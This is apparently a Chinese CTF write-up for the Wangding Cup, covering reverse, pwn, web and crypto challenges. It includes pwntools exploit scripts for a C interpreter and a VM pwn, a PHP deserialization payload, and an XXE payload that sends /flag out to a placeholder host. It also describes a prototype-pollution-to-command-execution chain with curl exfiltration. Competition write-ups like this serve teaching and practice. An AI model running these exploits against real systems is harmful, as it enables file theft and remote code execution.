网鼎杯 Writeup by X1cT34m-小绿草信息安全实验室

MISC

签到题

  • 过关之后输入token,控制台发现flag

re

bang

梆梆壳
脱壳后解除flag{borring_things}

signal

简单的vm
跟踪看每部操作即可求出flag
1^0x10
1-5
2^0x20
23
3-2
3-1
4+1
4^4
5
3
5-0x21
6-1
6-1
7^9
7-0x20
8+0x51
8^0x24
102+0x2
11+0x36 ^0x41
12+0x20
13
3+ 0x25
14^9 - 0x20
15+0x42
最后比较
0x22,0x3f,0x34,0x32,0x72,0x33,0x18,0xFFFFFFA7,0x31,0xFFFFFFF1,0x28,0xFFFFFF84,0xFFFFFFC1,0x1e,0x7a
倒过来解得757515121f3d478
套上flag{}

jocker

前面有个假flag
flag{fak3_alw35_sp_me!!}
后面最后验证19个
就一个xor操作
最后五个需要猜
0x25, 0x74, 0x70, 0x26, 0x3A
可以看到最后一部分正好有这五个字符串
最后一个肯定是}
用} xor 0x3A得71
用71xor其余猜出flag
flag{d07abccf8a410cb37a}

PWN

boom1

一个c的解释器,可以拿到libc的leak,然后手工把指针指歪了就能任意地址读写,但是只给写三位以及三次函数调用,最后通过exit来getshell。

from pwn import*
libc =ELF('./libc-2.23.so')
p = remote('182.92.73.10',24573)
#p=process('./pwn')
context.log_level ='DEBUG'
payload = '''
char *s;
char *n;
char *ptr;
int main()
{
s = "zihu4n";
printf("%p",s);
n = s - (0x7f72342d3028 - 0x7f7233daa000);
s = n + 0x5F0048;
s[0] = 0;
s = n + 0x5F0F48;
ptr = 0xCD0F3 + n;
s[0] = ptr&0xFF;
s[1] = (ptr&0xFF00)>>8;
s[2] = (ptr&0xFF0000)>>16;
printf("pwn!");
}'''
payload = payload.replace('\n','')
p.sendline(payload)
p.interactive()

BOOM2

vm pwn
下标溢出+mmap给了libc地址
1是set r1 6是set ebp 13 mov[ebp],r1 25 add r1,ebp 30 return
然后就是任意地址写了
但是没有leak,以及作者的libc很恶心,测了很久才出来。

from pwn import *

Max = 0x10000000000000000

#r = process("./pwn")

# gdb.attach(r)

py = ''
py += p64(1) + p64(Max + 0xf02a4-0x5eb000)#set r1
py += p64(6) + p64(Max - 1)#set ebp
py += p64(25)#add r1 ebp
py += p64(6) + p64(Max -0xbed)#set ebp
py += p64(13)#mov [ebp],r1
py += p64(0x1e)

r = remote("182.92.73.10", "36642")
r.sendlineafter("ode> ", py)
r.interactive()

WEB

AreUseria

  • 源码
    
    <?php

include("flag.php");

highlight_file(FILE);

class FileHandler {

protected $op;
protected $filename;
protected $content;

function __construct() {
    $op = "1";
    $filename = "/tmp/tmpfile";
    $content = "Hello World!";
    $this->process();   
}

public function process() {
    if($this->op == "1") {
        $this->write();       
    } else if($this->op == "2") {
        $res = $this->read();
        $this->output($res);
    } else {
        $this->output("Bad Hacker!");
    }
}

private function write() {
    if(isset($this->filename) && isset($this->content)) {
        if(strlen((string)$this->content) > 100) {
            $this->output("Too long!");
            die();
        }
        $res = file_put_contents($this->filename, $this->content);
        if($res) $this->output("Successful!");
        else $this->output("Failed!");
    } else {
        $this->output("Failed!");
    }
}

private function read() {
    $res = "";
    if(isset($this->filename)) {
        $res = file_get_contents($this->filename);
    }
    return $res;
}

private function output($s) {
    echo "[Result]: <br>";
    echo $s;
}

function __destruct() {
    if($this->op === "2")
        $this->op = "1";
    $this->content = "";
    $this->process();
}

}

function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}

if(isset($_GET{'str'})) {

$str = (string)$_GET['str'];
if(is_valid($str)) {
    $obj = unserialize($str);
}

}

```php
<?php
class FileHandler {

    public $op = "2e0";
    public $filename = "/web/html/flag.php";

}

$a = new FileHandler();
echo urlencode(serialize($a));
  • 科学计数绕弱类型
  • PHP是最好的语言,直接将protected改public
  • alphine下配置文件/web/config/httpd.conf(真坑)
  • 最后就去读/web/html/flag.php

filejava

首先可以任意文件读取,然后发现poi-ooxml-3.10,有漏洞

在[Content-Types].xml加入下面代码:

<!DOCTYPE convert [ 
    <!ENTITY % remote SYSTEM "http://xxxxx/evil.dtd">  
    <!ENTITY % file SYSTEM "file:///flag">
    %remote;
    %send;
]>

<info><username>jylsec</username></info>

然后上传xlsx即可

  • 远程服务器
    <!ENTITY % start "<!ENTITY % send SYSTEM 'http://xxxxx/?%file;'>">
    %start;

notes

var express = require('express');
var path = require('path');
const undefsafe = require('undefsafe');
const { exec } = require('child_process');

var app = express();
class Notes {
    constructor() {
        this.owner = "whoknows";
        this.num = 0;
        this.note_list = {};
    }

    write_note(author, raw_note) {
        this.note_list[(this.num++).toString()] = {"author": author,"raw_note":raw_note};
    }

    get_note(id) {
        var r = {}
        undefsafe(r, id, undefsafe(this.note_list, id));
        return r;
    }

    edit_note(id, author, raw) {
        undefsafe(this.note_list, id + '.author', author);
        undefsafe(this.note_list, id + '.raw_note', raw);
    }

    get_all_notes() {
        return this.note_list;
    }

    remove_note(id) {
        delete this.note_list[id];
    }
}

var notes = new Notes();
notes.write_note("nobody", "this is nobody's first note");

app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'pug');

app.use(express.json());
app.use(express.urlencoded({ extended: false }));
app.use(express.static(path.join(__dirname, 'public')));

app.get('/', function(req, res, next) {
  res.render('index', { title: 'Notebook' });
});

app.route('/add_note')
    .get(function(req, res) {
        res.render('mess', {message: 'please use POST to add a note'});
    })
    .post(function(req, res) {
        let author = req.body.author;
        let raw = req.body.raw;
        if (author && raw) {
            notes.write_note(author, raw);
            res.render('mess', {message: "add note sucess"});
        } else {
            res.render('mess', {message: "did not add note"});
        }
    })

app.route('/edit_note')
    .get(function(req, res) {
        res.render('mess', {message: "please use POST to edit a note"});
    })
    .post(function(req, res) {
        let id = req.body.id;
        let author = req.body.author;
        let enote = req.body.raw;
        if (id && author && enote) {
            notes.edit_note(id, author, enote);
            res.render('mess', {message: "edit note sucess"});
        } else {
            res.render('mess', {message: "edit note failed"});
        }
    })

app.route('/delete_note')
    .get(function(req, res) {
        res.render('mess', {message: "please use POST to delete a note"});
    })
    .post(function(req, res) {
        let id = req.body.id;
        if (id) {
            notes.remove_note(id);
            res.render('mess', {message: "delete done"});
        } else {
            res.render('mess', {message: "delete failed"});
        }
    })

app.route('/notes')
    .get(function(req, res) {
        let q = req.query.q;
        let a_note;
        if (typeof(q) === "undefined") {
            a_note = notes.get_all_notes();
        } else {
            a_note = notes.get_note(q);
        }
        res.render('note', {list: a_note});
    })

app.route('/status')
    .get(function(req, res) {
        let commands = {
            "script-1": "uptime",
            "script-2": "free -m"
        };
        for (let index in commands) {
            exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => {
                if (err) {
                    return;
                }
                console.log(`stdout: ${stdout}`);
            });
        }
        res.send('OK');
        res.end();
    })

app.use(function(req, res, next) {
  res.status(404).send('Sorry cant find that!');
});

app.use(function(err, req, res, next) {
  console.error(err.stack);
  res.status(500).send('Something broke!');
});

const port = 8080;
app.listen(port, () => console.log(`Example app listening at http://localhost:${port}`))
  • 魔改题
  • 漏洞报告网站给的undefsafe的poc
    var a = require("undefsafe");
    var payload = "__proto__.toString";
    a({},payload,"JHU");
    console.log({}.toString);
  • edit_note中很明显就有这样的操作
    undefsafe(this.note_list, id + '.author', author);
  • 所以我们照着上面把id控为__proto__即可
  • 这时候我们只是污染了,命令执行点在下面
    for (let index in commands) {
            exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => {
  • 可以可以,直接for,把我们污染进object的变量全都给提取出来了,那么这边我们随便给raw或者authorjson传值的时候写上一条curl外带命令,接着id控为上面说的__proto__即可

Crypto

you raise me up

把c弄大,然后bit-by-bit地找flag。

# ...
mod = 2**510
flag = ""
i = mod
for i in range(1, 510):
    e = mod/(2**i)
    if pow(c, e, n) == 1:
        flag = "0" + flag
    else:
        flag = "1" + flag
    if flag.startwith("1"):
        c *= pow(m, mod - (2**(len(flag)-1)), n)
        c = c % n

print(n2s(int(flag,2)))

flag{5f95ca93-1594-762d-ed0b-a9139692cb4a}

easy_ya

  1. POW:随机地组合printable,直到某一个字符串的hash值与其相符合。
  2. RSA 模不互素,可以求出ek = '\xe6\x84\xbf\xe6\x88\x91\xe6\x89\x80\xe7\x88\xb1\xe6\x97\xa0\xe5\xbf\xa7\xe6\x81\x99\xe5\xb2\x81\xe9\x95\xbf\xe5\xae\x89'
  3. 从ek中可以得到key,进而encode里的a, b, c, d都可知。
  4. z和pad残缺,但位数不多,可以直接穷举。
    # ...    
    for zz in range(1<<7):
        pad7 = limit(zz ^ xor)
        for pad5 in range(1<<5):
            no = 0
            yy = y
            zz = limit((zz << 25) + z)
            raw_pad = limit((pad5 << 27) + (pad20 << 7) + pad7)
            for j in range(32, 0, -1):
                pads = limit(raw_pad * j)
                zz = limit( zz - ((yy*16 + c) ^ (yy + pads) ^ ((yy>>5) + d)) )
                yy = limit( yy - ((zz*16 + a) ^ (zz + pads) ^ ((zz>>5) + b)) )
            for ch in n2s(zz):
                if ord(ch) > 128:
                    no = 1
                    break
            for ch in n2s(yy):
                if ord(ch) > 128:
                    no = 1
                    break
            if not no:
                print(n2s(yy) +n2s(zz))

flag{bac06fb63b3b6ef42a76fd3f75692760}

boom

  1. md5:en5oy
  2. 三元一次方程组:74, 68, 31
  3. 一元二次方程:89127561

flag{en5oy_746831_89127561}